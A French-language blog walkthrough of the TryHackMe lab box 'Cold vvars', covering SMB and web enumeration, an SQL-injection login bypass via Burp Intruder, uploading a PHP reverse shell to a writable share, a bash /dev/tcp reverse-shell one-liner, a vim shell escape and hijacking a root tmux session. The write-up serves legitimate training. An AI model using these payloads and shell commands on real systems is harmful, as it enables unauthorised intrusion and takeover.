S’abonner
Connexion
Please login to comment
0 Commentaires
Cold vvars est une box medium de TryHackMe qui fait appel à plusieurs compétences sur SMB, SQL. Il ne s’agit pas ici d’exploiter des vulnérabilités, mais plutôt des erreurs de configuration.
Dans le but de connaître quels sont les ports ouverts, je lance un scan avec nmap et l’option -T5 sur tous les ports ( -p- )
Commande :
nmap -T5 -p- 10.10.28.194
On va continuer l’énumération sur les ports SMB ( 139 et 445 ) en tentant de voir si des partages sont existants et auquel cas, tenter de s’y connecter.
Commande :
smbmap -H 10.10.28.194
On ne peut pas se connecter sur les différents partages. On a besoin d’identifiants.
Commande :
smbclient \\\\10.10.28.194\\SECURED
Last but not least enum4linux qui est toujours intéressant à utiliser.
Commande :
enum4linux 10.10.28.194
On obtient un nom ( ArthurMorgan ) qui pourrait servir de login.
Sur les deux ports ouverts (8080 et 8082 ), il faut effectuer un scan avec gobuster pour déterminer quels sont les répertoires accessibles.
Commande :
gobuster dir -u http://10.1028.194:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.1028.194:8082 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Sur le port 8080, on a le répertoire /dev, on va à nouveau faire un scan avec gobuster avec l’option -x pour chercher des fichiers selon les extensions PHP, HTML et TXT :
Commande :
gobuster dir -u http://10.10.28.194:8080/dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
Le contenu du fichier note.txt :
Secure File Upload and Testing Functionality
Mise à part ce fichier, il n’y a rien d’intéressant sur le site. On va voir ce qu’il y a sur le port 8082. Au vu du résultat de gobuster, il semblerait que l’on a un site web avec une authentification.
Toutes les combinaisons de mot de passe, admin/admin, admin/password, ne fonctionnent pas. J’ai tenté de bypass l’authentification avec une injection SQL avec BurpSuite.
Pour la configuration et BurpSuite, je vous invite à aller sur cette page d’explication. ( qui n’existe pas pour le moment… )
En 1ier on va s’authentifier avec l’utilisateur ArthurMorgan et un mot passe lambda.
Avant de valider l’authentification, on va mettre en place BurpSuite pour que la requête de login soit interceptée.
La requête est bien interceptée, on la retrouve dans l’onglet Proxy.
Cette requête doit être ensuite envoyé dans Intruder soit par crtl + i soit clic doit et sent to intruder.
Une fois que l’on se trouve dans Intruder, on est sur l’onglet target. Il n’y a rien à modifier. Dans l’onglet suivant Positions ( la 2ᵉ image ), il faut faire clear en haut à droite et surligner le mot de passe et cliquer sur add en haut à gauche.
Ensuite dans l’onglet payload ( la 3ᵉ image ) il faut coller une liste de commande sql. L’un d’elle permettra de bypass l’authentification.
Il faut ensuite cliquer sur
Plusieurs injections sont valides et permet de bypass l’authentification. Celle-ci en particulier, admin” or “1”=”1 , permet de récupérer les mots de plusieurs utilisateurs dont celui d’ArthurMorgan.
L’obtention des identifiants d’ArthurMorgan nous permet d’accèder au contenu du partage SECURED.
Commande :
smbclient \\\\10.10.250.99\\SECURED -U ArthurMorgan
On peut voir que l’on retrouve le fichier note.txt. À ce moment-là, il faut tenter de copier un fichier dans le partage voir si on a les droits d’écriture.
Commande :
put fichier.txt
Comme l’écriture est possible, on va mettre un reverse shell en PHP dans le partage. Celui de pentestmonkey est parfait. Il faut juste modifier l’adresse IP et le port à l’intérieur du script.
Commande :
put php-reverse-shell_Linux.php
Pour activer le reverse, il faut se rendre sur l’URL vu plus haut http://10.10.250.99:8080/dev/ et de rajouter à la suite le nom du reverse ( php-reverse-shell_Linux.php)
À noter qu’il faut mettre en place un écouteur nc avec de valider l’URL
Commande :
nc -nlvp 1234
URL :
http://10.10.250.99:8080/dev/php-reverse-shell_Linux.php
Le reverse shell nous amène sur le compte www-data. Sur compte, il n’y a rien d’important. On va passer sur le compte ArthurMorgan. Tout simplement en faisant cette commande :
su ArthurMorgan
password
À partir de là, ça s’est compliqué. En fait j’avais obtenu l’information via linpeas mais je ne l’avais pas vu… J’ai perdu beaucoup de temps pour rien en refaisant l’énumération encore et encore.
Pour faire simple dans les variables d’environnement, il y a en a une qui est en écoute sur le port 4545
Commande :
nc -nlvp 4545
Il faut prendre le choix 4. Il ouvre un éditeur de texte vim. Il existe une vulnérabilité dans ce logiciel, où il est possible à partir de l’éditeur de sortir et de se retrouver sur bash. Comme c’est l’utilisateur marston qui a lancé ce programme.
Commande :
:!sh
Une fois sur le bash de marston, on va faire une commande qui va renvoyer le shell vers un nc.
Commande :
bash -c ‘bash -i >& /dev/tcp/10.8.76.250/6666 0>&1’
On vient d’obtenir le bash sur nc. Il faut l’upgrader comme pour le bash sur ArthurMorgan. Et en plus, en dernier, il faudra faire cette commande : export TERM=xterm-256color . Sinon, l’erreur open terminal failed: missing or unsuitable terminal: unknown apparaitra si on fait tmux attach
Lorsque l’on a obtenu le tout premier shell, on a vue s’afficher toute une série d’informations lié à tmux et à l’utilisateur marston.
Ce qu’il faut comprendre, c’est que marston à utiliser tmux pour plusieurs choses et notamment pour se connecter sur le compte root.
Ce que l’on va faire c’est que l’on va récupère le tmux de l’utilisateur marston.
Commande :
tmux attach
Il y a plusieurs bash d’ouvert. pour les faire défiler, il faut utiliser ctrl + b puis n pour arriver sur cette fenêtre.
Pour atteindre le bash root # il faut fermer les fenêtre une à une avec la commande exit, jusqu’à arriver à la bonne.